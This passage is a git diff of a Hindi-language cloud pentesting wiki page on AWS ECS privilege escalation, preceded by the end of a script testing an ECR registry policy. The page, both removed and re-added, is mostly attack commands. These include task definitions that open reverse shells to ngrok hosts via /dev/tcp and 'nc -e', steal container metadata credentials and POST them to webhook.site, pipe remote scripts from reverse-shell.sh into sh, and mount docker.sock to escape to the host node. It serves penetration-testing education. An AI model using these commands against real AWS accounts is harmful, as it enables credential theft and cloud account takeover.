+# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
+set +e
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+RC=$?
+set -e
+if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
+
+# 3) Downgrade scope to V1 and retry (should SUCCEED now)
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+
+# 4) Verify rule exists
+aws ecr describe-pull-through-cache-rules --region $REGION \
+--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
+
+# 5) Cleanup and restore
+aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
+if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
+jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
+aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
+else
+aws ecr delete-registry-policy --region $REGION || true
+fi
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+```
+

diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
deleted file mode 100644
index 65a5a64a8..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ /dev/null
@@ -1,327 +0,0 @@
-# AWS - ECS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-ECS के बारे में अधिक जानकारी:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-
-ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमतियों का दुरुपयोग करने वाला एक हमलावर **नया task definition बना सकता है** जिसमें एक **दुष्ट container** होता है जो metadata credentials चुरा लेता है और **इसे चला सकता है**।
-
-{{#tabs }}
-{{#tab name="Reverse Shell" }}
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-# Run task definition
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-{{#endtab }}
-
-{{#tab name="Webhook" }}
-
-webhook.site जैसी साइट पर एक webhook बनाएं
-```bash
-
-# Create file container-definition.json
-[
-{
-"name": "exfil_creds",
-"image": "python:latest",
-"entryPoint": ["sh", "-c"],
-"command": [
-"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
-]
-}
-]
-
-# Run task definition, uploading the .json file
-aws ecs register-task-definition \
---family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 \
---memory 512 \
---requires-compatibilities FARGATE \
---container-definitions file://container-definition.json
-
-# Check the webhook for a response
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-
-```
-{{#endtab }}
-
-{{#endtabs }}
-
-**Potential Impact:** सीधा privesc एक अलग ECS role तक।
-
-### `iam:PassRole`,`ecs:RunTask`
-ऐसा attacker जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हों, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task start कर सकता है।  `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है।
-
-`taskRoleArn` और `executionRoleArn` के लिए निर्दिष्ट IAM roles की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/भरोसा होना चाहिए।
-
-साथ ही, attacker को निम्न जानकारियाँ पता होनी चाहिए:
-- ECS cluster name
-- VPC Subnet
-- Security group (If no security group is specified the default one will be used)
-- Task Definition Name and revision
-- Name of the Container
-```bash
-aws ecs run-task \
---cluster  \
---launch-type FARGATE \
---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \
---task-definition  \
---overrides '
-{
-"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": ,
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-ऊपर दिए गए कोड स्निपेट में attacker केवल `taskRoleArn` मान को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` पर `iam:PassRole` permission होना चाहिए ताकि attack संभव हो सके।
-
-यदि attacker द्वारा पास की जा सकने वाली IAM role के पास ECR image को pull करने और ECS task को start करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` command में दोनों `executionRoleArn` और `taskRoleArn` के लिए वही IAM role निर्दिष्ट कर सकता है।
-```sh
-aws ecs run-task --cluster  --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition  --overrides '
-{
-"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole",
-"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": "",
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-**संभावित प्रभाव:** सीधा privesc किसी भी ECS task role पर।
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
-
-पिछले उदाहरण की तरह, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करने वाला attacker **generate a new task definition** कर सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it**।\
-हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी।
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-aws ecs start-task --task-definition iam_exfiltration \
---container-instances 
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-**संभावित प्रभाव:** किसी भी ECS role पर सीधा privesc।
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-
-जैसा कि पिछले उदाहरण में, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`, `ecs:CreateService`** अनुमतियों का दुरुपयोग करने वाला attacker एक **नया task definition जनरेट** कर सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे कम से कम 1 task के साथ एक नया service बनाकर चलाता है।**
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn  "$ECS_ROLE_ARN" \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
-
-# Run the task creating a service
-aws ecs create-service --service-name exfiltration \
---task-definition iam_exfiltration \
---desired-count 1 \
---cluster "$CLUSTER_ARN" \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
-
-# Run the task updating a service
-aws ecs update-service --cluster  \
---service  \
---task-definition 
-```
-**Potential Impact:** किसी भी ECS role पर सीधे privesc.
-
-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-
-दरअसल, केवल उन अनुमतियों के साथ overrides का उपयोग करके किसी भी role के साथ कंटेनर में मनचाहे कमांड चलाना संभव है, कुछ ऐसा:
-```bash
-aws ecs run-task \
---task-definition "" \
---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
---cluster  \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}"
-```
-**संभावित प्रभाव:** Direct privesc to any ECS role.
-
-### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-यह परिदृश्य पिछले मामलों जैसा है लेकिन **बिना** **`iam:PassRole`** अनुमति के।\
-यह अभी भी महत्वपूर्ण है क्योंकि यदि आप किसी arbitrary container को चला सकते हैं, भले ही उसमें कोई role न हो, तो आप नोड पर पहुँचने के लिए **एक privileged container चला कर escape कर सकते हैं** और नोड पर चल रहे **EC2 IAM role** और **अन्य ECS containers roles** को **चुरा सकते हैं**।\
-आप यहाँ तक कि उन अन्य tasks को, जिन्हें आप compromise करते हैं, उनके credentials चुराने के लिए उस **EC2 instance** के अंदर चलने के लिए **मजबूर कर सकते हैं** (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में बताया गया है)।
-
-> [!WARNING]
-> यह हमला केवल तब संभव है जब **ECS cluster EC2 instances का उपयोग कर रहा हो** और Fargate नहीं।
-```bash
-printf '[
-{
-"name":"exfil_creds",
-"image":"python:latest",
-"entryPoint":["sh", "-c"],
-"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-"mountPoints": [
-{
-"readOnly": false,
-"containerPath": "/var/run/docker.sock",
-"sourceVolume": "docker-socket"
-}
-]
-}
-]' > /tmp/task.json
-
-printf '[
-{
-"name": "docker-socket",
-"host": {
-"sourcePath": "/var/run/docker.sock"
-}
-}
-]' > /tmp/volumes.json
-
-
-aws ecs register-task-definition --family iam_exfiltration \
---cpu 256 --memory 512 \
---requires-compatibilities '["EC2"]' \
---container-definitions file:///tmp/task.json \
---volumes file:///tmp/volumes.json
-
-
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
---launch-type EC2
-
-# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
-```
-### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-एक हमलावर जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** हों, वह चल रहे कंटेनर के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की ज़रूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है)।\
-हालाँकि, ऐसा करने के लिए, container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)।
-
-इसलिए, हमलावर कोशिश कर सकता है:
-
-- **हर चल रहे कंटेनर में कमांड चलाने की कोशिश करना**
-```bash
-# List enableExecuteCommand on each task
-for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-echo "Cluster $cluster"
-for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-echo "  Task $task"
-# If true, it's your lucky day
-aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-done
-done
-
-# Execute a shell in a container
-aws ecs execute-command --interactive \
---command "sh" \
---cluster "$CLUSTER_ARN" \
---task "$TASK_ARN"
-```
-- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक task चलाएँ
-- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक task चलाएँ
-- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक service बनाएँ
-- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक service अपडेट करें
-
-इन विकल्पों के **उदाहरण** आप **पिछले ECS privesc अनुभागों** में पा सकते हैं।
-
-**Potential Impact:** कंटेनरों से जुड़ी किसी अलग role पर privesc।
-
-### `ssm:StartSession`
-
-देखें **ssm privesc पृष्ठ** में कि आप इस अनुमति का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं:
-
-{{#ref}}
-aws-ssm-privesc.md
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-देखें **ec2 privesc पृष्ठ** में कि आप इन permissions का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं:
-
-{{#ref}}
-aws-ec2-privesc.md
-{{#endref}}
-
-### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
-
-इन permissions वाले हमलावर संभावित रूप से किसी ECS cluster में एक EC2 instance register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context के भीतर मनमाना कोड execute करने की अनुमति मिल सकती है।
-
-- TODO: क्या किसी अलग AWS account से instance register करना संभव है ताकि tasks हमलावर द्वारा नियंत्रित मशीनों पर चलें??
-
-### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
-
-> [!NOTE]
-> TODO: परीक्षण करें
-
-`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` permissions वाले हमलावर **मौजूदा ECS service के लिए एक दुर्भावनापूर्ण task set बना सकते हैं और primary task set को अपडेट कर सकते हैं**। इससे हमलावर को **service के भीतर मनमाना कोड execute करने** की अनुमति मिलती है।
-```bash
-# Register a task definition with a reverse shell
-echo '{
-"family": "malicious-task",
-"containerDefinitions": [
-{
-"name": "malicious-container",
-"image": "alpine",
-"command": [
-"sh",
-"-c",
-"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-]
-}
-]
-}' > malicious-task-definition.json
-
-aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
-
-# Create a malicious task set for the existing service
-aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
-
-# Update the primary task set for the service
-aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
-```
-**संभावित प्रभाव**: प्रभावित सेवा में arbitrary code निष्पादित करना, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या exfiltrating sensitive data किया जा सकता है।
-
-## संदर्भ
-
-- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
new file mode 100644
index 000000000..53941f3ff
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -0,0 +1,548 @@
+# AWS - ECS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+ECS के बारे में और **जानकारी**:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
+
+ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` permission का दुरुपयोग करने वाला attacker **generate a new task definition** करके एक **malicious container** चला सकता है जो metadata credentials चुरा लेता है और उसे **run it** कर देता है।
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+# Run task definition
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+webhook.site जैसी साइट पर एक webhook बनाएं
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**संभावित प्रभाव:** किसी अलग ECS role पर सीधे privesc।
+
+### `iam:PassRole`,`ecs:RunTask`
+एक attacker जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हैं, वह संशोधित **execution role**, **task role** और container के **command** मूल्यों के साथ एक नया ECS task शुरू कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो task definition को छुए बिना runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को बदलने की अनुमति देता है।
+
+निर्दिष्ट IAM roles (`taskRoleArn` और `executionRoleArn`) की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/विश्वास होना चाहिए।
+
+इसके अलावा, attacker को निम्न जानकारियाँ चाहिए:
+- ECS cluster name
+- VPC Subnet
+- Security group (यदि कोई security group निर्दिष्ट नहीं किया गया है तो default वाला उपयोग किया जाएगा)
+- Task Definition Name and revision
+- Name of the Container
+```bash
+aws ecs run-task \
+--cluster  \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \
+--task-definition  \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": ,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+ऊपर के कोड स्निपेट में attacker केवल `taskRoleArn` वैल्यू को ओवरराइड करता है। हालाँकि, हमला होने के लिए attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` दोनों पर `iam:PassRole` अनुमति होना आवश्यक है।
+
+यदि attacker द्वारा पास की जा सकने वाली IAM role में ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त अनुमतियाँ हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`) तो attacker `ecs run-task` कमांड में `executionRoleArn` और `taskRoleArn` दोनों के लिए वही IAM role निर्दिष्ट कर सकता है।
+```sh
+aws ecs run-task --cluster  --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition  --overrides '
+{
+"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Potential Impact:** किसी भी ECS task role पर Direct privesc.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
+
+पिछले उदाहरण की तरह, एक attacker जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करता है, वह एक **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा लेता है और उसे **run it**।\
+हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance का होना आवश्यक है।
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+aws ecs start-task --task-definition iam_exfiltration \
+--container-instances 
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+**Potential Impact:** किसी भी ECS role पर सीधे privesc.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+
+पिछले उदाहरण की तरह, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** permissions का दुरुपयोग कर एक attacker **generate a new task definition** कर सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it by creating a new service with at least 1 task running.**
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+
+# Run the task creating a service
+aws ecs create-service --service-name exfiltration \
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+
+# Run the task updating a service
+aws ecs update-service --cluster  \
+--service  \
+--task-definition 
+```
+**Potential Impact:** किसी भी ECS role पर सीधा privesc।
+
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
+
+दरअसल, केवल इन permissions के साथ overrides का उपयोग करके आप किसी container में किसी भी arbitrary role के साथ arbitrary commands execute कर सकते हैं — कुछ ऐसा:
+```bash
+aws ecs run-task \
+--task-definition "" \
+--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster  \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}"
+```
+**संभावित प्रभाव:** Direct privesc to any ECS role.
+
+### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+यह परिदृश्य पिछले मामलों जैसा है लेकिन **`iam:PassRole`** permission के बिना।\
+यह अभी भी महत्वपूर्ण है क्योंकि अगर आप किसी arbitrary container को चला सकते हैं, भले ही वह role के बिना हो, तो आप **run a privileged container to escape** करके नोड तक पहुँचकर **steal the EC2 IAM role** और नोड पर चल रहे **other ECS containers roles** चुरा सकते हैं।\
+आप यहां तक कि उस EC2 instance को जिसे आप compromise कर लें, उसमें अन्य tasks को **force other tasks to run inside the EC2 instance** करवा सकते हैं ताकि उनकी credentials चुराई जा सकें (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) में बताया गया है)।
+
+> [!WARNING]
+> यह हमला केवल तभी संभव है यदि **ECS cluster is using EC2** instances और Fargate नहीं।
+```bash
+printf '[
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
+]' > /tmp/task.json
+
+printf '[
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
+]' > /tmp/volumes.json
+
+
+aws ecs register-task-definition --family iam_exfiltration \
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
+
+
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
+
+# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
+```
+### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+यदि किसी हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** हों, तो वह चल रहे कंटेनर के अंदर कमांड निष्पादित कर सकता है और उससे जुड़ा IAM role बाहर निकाल (exfiltrate) सकता है (आपको describe permissions की आवश्यकता होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह जरूरी है)।\
+हालाँकि, ऐसा करने के लिए कंटेनर इंस्टेंस पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)।
+
+इसलिए, हमलावर कोशिश कर सकता है:
+
+- **हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें**
+```bash
+# List enableExecuteCommand on each task
+for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
+done
+
+# Execute a shell in a container
+aws ecs execute-command --interactive \
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
+```
+- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक task चलाएँ
+- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक task चलाएँ
+- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक service बनाएँ
+- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक service अपडेट करें
+
+आप उन विकल्पों के उदाहरण पिछली ECS privesc sections में पा सकते हैं।
+
+**Potential Impact:** कंटेनरों से जुड़े किसी अलग role में Privesc।
+
+### `ssm:StartSession`
+
+देखें **ssm privesc page** कि आप इस permission का दुरुपयोग कैसे करके **privesc to ECS** कर सकते हैं:
+
+{{#ref}}
+../aws-ssm-privesc/README.md
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
